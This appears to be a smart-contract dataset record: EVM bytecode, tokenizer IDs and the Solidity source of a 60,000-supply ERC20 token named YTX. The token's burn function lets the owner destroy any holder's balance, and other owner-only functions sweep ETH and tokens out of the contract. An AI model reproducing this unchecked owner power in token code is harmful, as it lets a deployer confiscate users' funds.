0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063313ce56711610066578063313ce5671461028457806370a08231146102a257806395d89b41146102fa578063a9059cbb1461037d578063dd62ed3e146103e15761009e565b806306fdde03146100a3578063095ea7b31461012657806318160ddd1461018a57806323b872dd146101a857806327e235e31461022c575b600080fd5b6100ab610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100eb5780820151818401526020810190506100d0565b50505050905090810190601f1680156101185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101726004803603604081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b60405180821515815260200191505060405180910390f35b610192610584565b6040518082815260200191505060405180910390f35b610214600480360360608110156101be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061058a565b60405180821515815260200191505060405180910390f35b61026e6004803603602081101561024257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610804565b6040518082815260200191505060405180910390f35b61028c61081c565b6040518082815260200191505060405180910390f35b6102e4600480360360208110156102b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610822565b6040518082815260200191505060405180910390f35b61030261086a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610342578082015181840152602081019050610327565b50505050905090810190601f16801561036f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103c96004803603604081101561039357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b60405180821515815260200191505060405180910390f35b610443600480360360408110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a8f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60025481565b60008161059685610822565b101561060a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f616c6c6f77616e636520746f6f206c6f7700000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60055481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109005780601f106108d557610100808354040283529160200191610900565b820191906000526020600020905b8154815290600101906020018083116108e357829003601f168201915b505050505081565b60008161091433610822565b1015610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f62616c616e636520746f6f206c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160205281600052604060002060205280600052604060002060009150915050548156fea2646970667358221220e3d56815a43f1da4dc94b041226e8a6433e50129a9a63f15b77f6f3e5ca8238a64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2475, 26337, 2581, 2278, 2683, 2497, 14141, 21619, 2050, 23833, 2278, 2620, 2094, 2620, 2094, 19317, 29097, 2497, 2683, 22022, 2509, 8586, 22932, 12376, 2094, 2620, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1016, 1025, 3206, 11895, 3676, 14083, 26788, 4904, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1027, 2184, 1008, 2184, 1008, 1008, 2260, 1008, 2184, 1008, 1008, 2324, 1025, 5164, 2270, 2171, 1027, 1000, 11895, 3676, 19748, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,576
0x97034e6dd259eb626508f0cd23bc4be14c59dbcd
pragma solidity ^0.6.6; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract YTX is Ownable, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 60000 * 1e18; // 60k tokens string private _name = 'YTX'; string private _symbol = 'YTX'; uint8 private _decimals = 18; constructor () public { _balances[msg.sender] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function burn(address _account, uint256 _amount) public onlyOwner returns (bool) { _burn(_account, _amount); return true; } function extractETHIfStuck() public onlyOwner { payable(owner()).transfer(address(this).balance); } function extractTokenIfStuck(address _token, uint256 _amount) public onlyOwner { IERC20(_token).transfer(owner(), _amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146104ae578063a457c2d714610514578063a9059cbb1461057a578063dd62ed3e146105e0578063f2fde38b146106585761010b565b806370a082311461037f578063715018a6146103d75780638da5cb5b146103e157806395d89b411461042b5761010b565b806323b872dd116100de57806323b872dd14610265578063313ce567146102eb578063395093511461030f5780634fe41129146103755761010b565b8063041be19a1461011057806306fdde031461015e578063095ea7b3146101e157806318160ddd14610247575b600080fd5b61015c6004803603604081101561012657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069c565b005b610166610833565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d600480360360408110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d5565b604051808215151515815260200191505060405180910390f35b61024f6108f3565b6040518082815260200191505060405180910390f35b6102d16004803603606081101561027b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fd565b604051808215151515815260200191505060405180910390f35b6102f36109d6565b604051808260ff1660ff16815260200191505060405180910390f35b61035b6004803603604081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ed565b604051808215151515815260200191505060405180910390f35b61037d610aa0565b005b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b6103df610c02565b005b6103e9610d8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610433610db3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610473578082015181840152602081019050610458565b50505050905090810190601f1680156104a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e55565b604051808215151515815260200191505060405180910390f35b6105606004803603604081101561052a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f34565b604051808215151515815260200191505060405180910390f35b6105c66004803603604081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611001565b604051808215151515815260200191505060405180910390f35b610642600480360360408110156105f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101f565b6040518082815260200191505060405180910390f35b61069a6004803603602081101561066e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a6565b005b6106a46112b3565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610765576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610789610d8a565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d602081101561081d57600080fd5b8101908080519060200190929190505050505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108cb5780601f106108a0576101008083540402835291602001916108cb565b820191906000526020600020905b8154815290600101906020018083116108ae57829003601f168201915b5050505050905090565b60006108e96108e26112b3565b84846112bb565b6001905092915050565b6000600354905090565b600061090a8484846114b2565b6109cb846109166112b3565b6109c685604051806060016040528060288152602001611b8860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061097c6112b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117779092919063ffffffff16565b6112bb565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610a966109fa6112b3565b84610a918560026000610a0b6112b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183790919063ffffffff16565b6112bb565b6001905092915050565b610aa86112b3565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610b71610d8a565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610bb6573d6000803e3d6000fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c0a6112b3565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e4b5780601f10610e2057610100808354040283529160200191610e4b565b820191906000526020600020905b815481529060010190602001808311610e2e57829003601f168201915b5050505050905090565b6000610e5f6112b3565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f2a83836118bf565b6001905092915050565b6000610ff7610f416112b3565b84610ff285604051806060016040528060258152602001611c1a6025913960026000610f6b6112b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117779092919063ffffffff16565b6112bb565b6001905092915050565b600061101561100e6112b3565b84846114b2565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110ae6112b3565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b1a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611bf66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b406022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611538576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611bd16025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ad56023913960400191505060405180910390fd5b6115c9838383611a85565b61163581604051806060016040528060268152602001611b6260269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117779092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ca81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff